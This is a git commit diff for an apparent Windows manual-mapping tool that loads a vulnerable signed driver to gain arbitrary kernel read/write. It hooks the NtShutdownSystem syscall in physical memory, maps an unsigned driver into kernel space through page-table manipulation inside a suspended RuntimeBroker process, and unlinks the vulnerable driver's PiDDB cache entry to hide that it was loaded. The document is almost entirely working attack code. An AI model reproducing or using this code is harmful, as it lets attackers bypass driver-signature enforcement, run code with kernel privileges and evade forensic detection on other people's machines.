removed physmeme and replaced it with VDM :^)

merge-requests/5/head v1.3
xerox 4 years ago
parent 11217828b8
commit e40d0af25c

@ -11,68 +11,24 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "drv-example", "drv-example\
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|ARM64 = Debug|ARM64
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|ARM = Release|ARM
Release|ARM64 = Release|ARM64
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM.ActiveCfg = Debug|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM.Build.0 = Debug|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM64.ActiveCfg = Debug|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM64.Build.0 = Debug|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.ActiveCfg = Debug|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.Build.0 = Debug|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x86.ActiveCfg = Debug|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x86.Build.0 = Debug|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM.ActiveCfg = Release|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM.Build.0 = Release|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM64.ActiveCfg = Release|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM64.Build.0 = Release|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.ActiveCfg = Release|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.Build.0 = Release|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x86.ActiveCfg = Release|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x86.Build.0 = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|ARM.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|ARM64.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.ActiveCfg = Debug|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.Build.0 = Debug|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x86.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x86.Build.0 = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|ARM.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|ARM64.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.ActiveCfg = Release|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.Build.0 = Release|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x86.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x86.Build.0 = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.ActiveCfg = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.Build.0 = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.Deploy.0 = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.ActiveCfg = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.Build.0 = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.Deploy.0 = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.ActiveCfg = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Build.0 = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Deploy.0 = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.ActiveCfg = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.Build.0 = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.Deploy.0 = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.ActiveCfg = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.Build.0 = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.Deploy.0 = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.ActiveCfg = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.Build.0 = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.Deploy.0 = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.ActiveCfg = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Build.0 = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Deploy.0 = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.ActiveCfg = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.Build.0 = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.Deploy.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

@ -1,367 +0,0 @@
#include "kernel_ctx.h"
namespace physmeme
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_module_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % PAGE_SIZE;
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
{
if (!is_page_found.load()) // keep scanning until its found
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, remainder);
}
}
}
PEPROCESS kernel_ctx::get_peprocess(DWORD pid) const
{
if (!pid)
return NULL;
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_module_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void* kernel_ctx::get_proc_base(unsigned pid) const
{
if (!pid)
return {};
const auto peproc = get_peprocess(pid);
if (!peproc)
return {};
static auto get_section_base =
util::get_module_export(
"ntoskrnl.exe",
"PsGetProcessSectionBaseAddress"
);
return syscall<PsGetProcessSectionBaseAddress>(
get_section_base,
peproc
);
}
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
buffer,
address,
size
);
}
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
address,
buffer,
size
);
}
void* kernel_ctx::get_physical(void* virt_addr)
{
if (!virt_addr)
return NULL;
static auto mm_get_physical =
util::get_module_export(
"ntoskrnl.exe",
"MmGetPhysicalAddress"
);
return syscall<MmGetPhysicalAddress>(
mm_get_physical,
virt_addr
);
}
void* kernel_ctx::get_virtual(void* addr)
{
if (!addr)
return NULL;
static auto mm_get_virtual =
util::get_module_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical"
);
PHYSICAL_ADDRESS phys_addr;
memcpy(&phys_addr, &addr, sizeof(addr));
return syscall<MmGetVirtualForPhysical>(
mm_get_virtual,
phys_addr
);
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_module_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_module_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
}

@ -1,127 +0,0 @@
#pragma once
#include <thread>
#include "../util/util.hpp"
#include "../physmeme/physmeme.hpp"
#include "../util/hook.hpp"
namespace physmeme
{
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
//
inline const std::uint8_t* ntoskrnl_buffer{};
//
// has the page been found yet?
//
inline std::atomic<bool> is_page_found = false;
//
// mapping of a syscalls physical memory (for installing hooks)
//
inline std::atomic<void*> psyscall_func{};
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx
{
friend class mem_ctx;
public:
kernel_ctx();
//
// read kernel memory into buffer
//
void rkm(void* buffer, void* address, std::size_t size);
//
// write kernel memory from buffer
//
void wkm(void* buffer, void* address, std::size_t size);
template <class T>
T rkm(void* addr)
{
if (!addr)
return {};
T buffer;
rkm((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
void wkm(void* addr, const T& data)
{
if (!addr)
return;
wkm((void*)&data, addr, sizeof(T));
}
//
// gets physical address from virtual
//
void* get_physical(void* virt_addr);
//
// uses the pfn database to get the virtual address
//
void* get_virtual(void* virt_addr);
//
// use this to call any function in the kernel
//
template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
GetModuleHandleA(syscall_hook.second.data()),
syscall_hook.first.data()
);
if (!proc || !psyscall_func || !addr)
return {};
hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func);
return result;
}
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
private:
//
// find and map the physical page of a syscall into this process
//
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
//
// get a pointer to an eprocess given process id.
//
PEPROCESS get_peprocess(DWORD pid) const;
//
// get base address of process (used to compare and ensure we find the right page).
//
void* get_proc_base(unsigned pid) const;
};
}

@ -1,48 +1,41 @@
#include "map_driver.hpp"
#include "mapper_ctx/mapper_ctx.hpp"
#include "kernel_ctx/kernel_ctx.h"
#include "vdm_ctx/vdm_ctx.h"
#include "vdm/vdm.hpp"
namespace mapper
{
std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data)
auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data) -> std::pair<mapper_error, void*>
{
std::vector<std::uint8_t> drv_buffer(drv_image, image_size + drv_image);
if (!drv_buffer.size())
return { mapper_error::image_invalid, nullptr };
if (!physmeme::load_drv())
const auto [drv_handle, drv_key] = vdm::load_drv();
if (drv_handle == INVALID_HANDLE_VALUE || drv_key.empty())
return { mapper_error::load_error, nullptr };
physmeme::kernel_ctx kernel;
// after we setup the kernel_ctx we dont need any driver loaded anymore...
if (!physmeme::unload_drv())
return { mapper_error::unload_error, nullptr };
// clear piddb cache of the loaded vuln driver...
if (!kernel.clear_piddb_cache(physmeme::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
return { mapper_error::piddb_fail, nullptr };
// start a runtime broker suspended...
const auto runtime_broker_pid = util::start_runtime_broker();
const auto runtime_broker_pid =
util::start_runtime_broker();
if (!runtime_broker_pid)
return { mapper_error::failed_to_create_proc, nullptr };
physmeme::mem_ctx my_proc(kernel, GetCurrentProcessId());
physmeme::mem_ctx runtime_broker(kernel, runtime_broker_pid);
physmeme::mapper_ctx mapper(my_proc, runtime_broker);
vdm::vdm_ctx v_ctx;
nasa::mem_ctx my_proc(v_ctx, GetCurrentProcessId());
nasa::mem_ctx runtime_broker(v_ctx, runtime_broker_pid);
nasa::mapper_ctx mapper(my_proc, runtime_broker);
// allocate the driver in the suspended runtime broker and expose it to this process...
const auto [drv_base, drv_entry] = mapper.map(drv_buffer);
if (!drv_base || !drv_entry)
return { mapper_error::init_failed, nullptr };
mapper.call_entry(drv_entry, entry_data);
// mem_ctx destructors need to be called before kernel_ctx destructors...
my_proc.~mem_ctx();
runtime_broker.~mem_ctx();
if (!vdm::unload_drv(drv_handle, drv_key))
return { mapper_error::unload_error, nullptr };
return { mapper_error::error_success, drv_base };
}
}

@ -1,36 +1,46 @@
#include "mapper_ctx.hpp"
namespace physmeme
namespace nasa
{
mapper_ctx::mapper_ctx
(
physmeme::mem_ctx& map_into,
physmeme::mem_ctx& map_from
nasa::mem_ctx& map_into,
nasa::mem_ctx& map_from
)
:
map_into(map_into),
map_from(map_from),
pml4_idx(0)
{
// find an empty pml4e location...
for (auto idx = 256u; idx > 0u; --idx)
if (!map_into.k_ctx->rkm<pml4e>(map_into.k_ctx->get_virtual(
(reinterpret_cast<::ppml4e>(map_into.get_dirbase()) + idx))).present)
const auto map_into_pml4 =
reinterpret_cast<ppml4e>(
map_into.set_page(map_into.get_dirbase()));
// look for an empty pml4e...
for (auto idx = 0u; idx < 256; ++idx)
{
if (!map_into_pml4[idx].value)
{
this->pml4_idx = idx;
break;
}
}
}
std::pair<void*, void*> mapper_ctx::map(std::vector<std::uint8_t>& raw_image)
auto mapper_ctx::map(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>
{
const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image);
auto [drv_ppml4e, drv_pml4e] = map_from.get_pml4e(drv_alloc);
while (!SwitchToThread());
make_kernel_access(drv_alloc);
map_from.set_pml4e(drv_ppml4e, pml4e{ NULL });
while (!SwitchToThread());
drv_pml4e.nx = false;
drv_pml4e.user_supervisor = false;
map_into.write_phys(reinterpret_cast<ppml4e*>(
map_into.write_phys(reinterpret_cast<ppml4e>(
map_into.get_dirbase()) + this->pml4_idx, drv_pml4e);
virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc) };
@ -38,25 +48,14 @@ namespace physmeme
return { new_addr.value, drv_entry_addr };
}
bool mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const
void mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const
{
const auto result = map_into.k_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler);
return !result;
map_into.v_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler);
}
std::pair<void*, void*> mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image)
{
const auto _get_module = [&](std::string_view name)
auto mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image) -> std::pair<void*, void*>
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_module_export(base, name));
};
physmeme::pe_image drv_image(raw_image);
nasa::pe_image drv_image(raw_image);
const auto process_handle =
OpenProcess(
PROCESS_ALL_ACCESS,
@ -67,9 +66,16 @@ namespace physmeme
if (!process_handle)
return {};
drv_image.fix_imports(_get_module, _get_export_name);
drv_image.map();
drv_image.fix_imports([&](const char* module_name, const char* export_name)
{
return reinterpret_cast<std::uintptr_t>(
util::get_kmodule_export(
module_name,
export_name
));
});
drv_image.map();
const auto drv_alloc_base =
reinterpret_cast<std::uintptr_t>(
VirtualAllocEx(

@ -1,23 +1,19 @@
#include "../mem_ctx/mem_ctx.hpp"
#include "../pe_image/pe_image.h"
namespace physmeme
namespace nasa
{
class mapper_ctx
{
public:
explicit mapper_ctx
(
physmeme::mem_ctx& map_into,
physmeme::mem_ctx& map_from
);
std::pair<void*, void*> map(std::vector<std::uint8_t>& raw_image);
bool call_entry(void* drv_entry, void** hook_handler) const;
explicit mapper_ctx(nasa::mem_ctx& map_into, nasa::mem_ctx& map_from);
auto map(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>;
void call_entry(void* drv_entry, void** hook_handler) const;
private:
std::uint16_t pml4_idx;
std::pair<void*, void*> allocate_driver(std::vector<std::uint8_t>& raw_image);
auto allocate_driver(std::vector<std::uint8_t>& raw_image)->std::pair<void*, void*>;
void make_kernel_access(void* drv_base);
physmeme::mem_ctx map_into;
physmeme::mem_ctx map_from;
nasa::mem_ctx map_into, map_from;
};
}

@ -1,16 +1,20 @@
#include "mem_ctx.hpp"
namespace physmeme
namespace nasa
{
mem_ctx::mem_ctx(kernel_ctx& krnl_ctx, DWORD pid)
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
:
k_ctx(&krnl_ctx),
dirbase(get_dirbase(krnl_ctx, pid)),
v_ctx(&v_ctx),
dirbase(get_dirbase(v_ctx, pid)),
pid(pid)
{
// find an empty pml4e...
// find an empty pml4e inside of current processes pml4...
const auto current_pml4 =
v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>(
get_dirbase(v_ctx, GetCurrentProcessId())));
for (auto idx = 100u; idx > 0u; --idx)
if (!k_ctx->rkm<pml4e>(k_ctx->get_virtual((reinterpret_cast<::ppml4e>(get_dirbase()) + idx))).present)
if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value)
this->pml4e_index = idx;
// allocate a pdpt
@ -18,12 +22,12 @@ namespace physmeme
reinterpret_cast<ppdpte>(
VirtualAlloc(
NULL,
PAGE_SIZE,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pdpt.second, PAGE_SIZE);
PAGE_IN(this->new_pdpt.second, PAGE_4KB);
// get page table entries for new pdpt
pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
@ -40,34 +44,29 @@ namespace physmeme
reinterpret_cast<ppde>(
VirtualAlloc(
NULL,
PAGE_SIZE,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pd.second, PAGE_SIZE);
//
PAGE_IN(this->new_pd.second, PAGE_4KB);
// get paging table entries for pd
//
pt_entries new_pd_entries;
hyperspace_entries(
new_pd_entries,
this->new_pd.second
);
hyperspace_entries(new_pd_entries, this->new_pd.second);
this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
//
// make a new pt
//
this->new_pt.second =
reinterpret_cast<ppte>(
VirtualAlloc(
NULL,
PAGE_SIZE,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pt.second, PAGE_SIZE);
PAGE_IN(this->new_pt.second, PAGE_4KB);
// get paging table entries for pt
pt_entries new_pt_entries;
@ -150,13 +149,13 @@ namespace physmeme
return new_addr.value;
}
void* mem_ctx::get_dirbase(kernel_ctx& k_ctx, DWORD pid)
void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
{
const auto peproc =
reinterpret_cast<std::uint64_t>(k_ctx.get_peprocess(pid));
reinterpret_cast<std::uint64_t>(v_ctx.get_peprocess(pid));
pte dirbase = k_ctx.rkm<pte>(
reinterpret_cast<void*>(peproc + 0x28));
const auto dirbase =
v_ctx.rkm<pte>(peproc + 0x28);
return reinterpret_cast<void*>(dirbase.pfn << 12);
}
@ -168,39 +167,34 @@ namespace physmeme
virt_addr_t virt_addr{ addr };
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
entries.pml4.second = k_ctx->rkm<pml4e>(
k_ctx->get_virtual(entries.pml4.first));
entries.pml4.second = v_ctx->rkm<pml4e>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
if (!entries.pml4.second.value)
return false;
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
entries.pdpt.second = k_ctx->rkm<pdpte>(
k_ctx->get_virtual(entries.pdpt.first));
entries.pdpt.second = v_ctx->rkm<pdpte>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
if (!entries.pdpt.second.value)
return false;
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
entries.pd.second = k_ctx->rkm<pde>(
k_ctx->get_virtual(entries.pd.first));
entries.pd.second = v_ctx->rkm<pde>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
// if its a 2mb page
if (entries.pd.second.page_size)
if (entries.pd.second.large_page)
{
memcpy(
&entries.pt.second,
&entries.pd.second,
sizeof(pte)
);
entries.pt.second.value = entries.pd.second.value;
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
return true;
}
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
entries.pt.second = k_ctx->rkm<pte>(
k_ctx->get_virtual(entries.pt.first));
entries.pt.second = v_ctx->rkm<pte>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
if (!entries.pt.second.value)
return false;
@ -214,7 +208,7 @@ namespace physmeme
return {};
pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pt.first, entries.pt.second };
return {};
}
@ -225,7 +219,7 @@ namespace physmeme
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pte);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pte);
else
write_phys(addr, pte);
}
@ -236,7 +230,7 @@ namespace physmeme
return {};
pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pd.first, entries.pd.second };
return {};
}
@ -247,7 +241,7 @@ namespace physmeme
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pde);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pde);
else
write_phys(addr, pde);
}
@ -258,7 +252,7 @@ namespace physmeme
return {};
pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pdpt.first, entries.pdpt.second };
return {};
}
@ -269,7 +263,7 @@ namespace physmeme
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pdpte);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pdpte);
else
write_phys(addr, pdpte);
}
@ -280,7 +274,7 @@ namespace physmeme
return {};
pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pml4.first, entries.pml4.second };
return {};
}
@ -291,7 +285,7 @@ namespace physmeme
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pml4e);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pml4e);
else
write_phys(addr, pml4e);
}
@ -302,7 +296,7 @@ namespace physmeme
return {};
virt_addr_t virt_addr{ addr };
if (size <= PAGE_SIZE - virt_addr.offset)
if (size <= PAGE_4KB - virt_addr.offset)
{
pt_entries entries;
read_phys
@ -325,7 +319,7 @@ namespace physmeme
(
buffer,
addr,
PAGE_SIZE - virt_addr.offset
PAGE_4KB - virt_addr.offset
);
// forward work load
@ -333,7 +327,7 @@ namespace physmeme
(
new_buffer_addr,
new_addr,
size - (PAGE_SIZE - virt_addr.offset)
size - (PAGE_4KB - virt_addr.offset)
);
}
}
